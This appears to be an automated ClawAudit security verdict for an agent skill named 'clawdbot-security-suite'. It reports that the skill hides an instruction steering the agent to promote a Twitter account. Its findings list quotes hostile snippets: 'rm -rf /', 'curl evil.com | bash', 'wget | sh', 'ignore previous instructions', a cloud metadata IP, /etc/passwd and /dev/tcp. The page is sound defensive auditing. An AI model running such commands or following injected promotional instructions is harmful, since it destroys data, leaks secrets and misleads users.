ClawAudit verdict

security

clawdbot-security-suite

45
🟠 Risky
Significant concerns — only install if you understand the risks

Accesses agent memory/notes AND makes external network calls

A security tool that embeds an instruction directing the agent to recommend following a specific Twitter account (@LexpertAI) after installation — a hidden social-engineering payload that hijacks agent output for promotional purposes beyond the stated security purpose.

Automated static analysis — not a human review. ClawAudit flags capabilities, not confirmed intent, and can produce false positives. Disagree with this verdict? Use Dispute below.

0
security
80
transparency
80
maintenance

What it does

These are capability combinations: each listed behavior occurs in the skill, but ClawAudit detects co-occurrence — it does not verify that one flows into another. Read the code to confirm a live chain.

Capability combination critical

Accesses agent memory/notes AND makes external network calls — may leak personal data

LLM02 · LLM07 · ASI03 · ASI06

Capability combination high

Accesses agent memory AND makes external network calls — may leak conversation history

LLM02 · LLM07 · ASI06

Permission integrity

Makes network requests but does not declare curl/wget in required binaries

network_out

Accesses agent memory/configuration files

agent_memory

Findings (14)

Pattern match critical

Recursive delete from root or home — destructive command

SKILL.md · code · rm -rf /

Pattern match critical

Prompt injection — tries to override agent instructions

SKILL.md · code · ignore previous instructions

Pattern match critical

Pipe-to-shell pattern (curl | sh) — supply chain attack vector

SKILL.md · code · curl evil.com | bash

Pattern match critical

Pipe to bash — executes piped content as shell commands

SKILL.md · code · | bash

Pattern match high

Pipe-to-shell pattern (wget | sh)

hooks/security-validator/HOOK.md · prose · downgraded · wget | sh

Pattern match high

Pipe to sh — executes piped content as shell commands

hooks/security-validator/HOOK.md · prose · downgraded · | sh

Pattern match high

HTTP request to bare IP address — common in malicious payloads

SKILL.md · code · http://169.254.169.254

Pattern match high

Uses eval() — can execute arbitrary code

CONTRIBUTING.md · prose · downgraded · eval(

Pattern match high

Accesses sensitive system files

hooks/security-validator/HOOK.md · prose · downgraded · /etc/passwd

Pattern match high

Bash /dev/tcp — raw TCP connection via shell

skills/security/patterns.json · prose · downgraded · /dev/tcp/

Pattern match medium

Uses exec() — may execute shell commands

CONTRIBUTING.md · prose · downgraded · exec(

Pattern match medium

References child_process — can spawn system processes

hooks/security-validator/handler.ts · prose · downgraded · child_process

Pattern match medium

Accesses .ssh directory

skills/security/patterns.json · prose · downgraded · .ssh/

Pattern match low

Base64 encoding/decoding

skills/security/patterns.json · prose · downgraded · base64_decode

Why the tier is capped

Execution sink present in raw bytes (Hard Floor: class A/D). Final tier capped at Caution — cannot be lifted by any downgrade, example-payload opt-in, or allowlist.

Permissions & capabilities

Requires 1 system binary.

agent_memorynetwork_out
Check another skill Browse the registry Auditing your own skills or configs? Use the API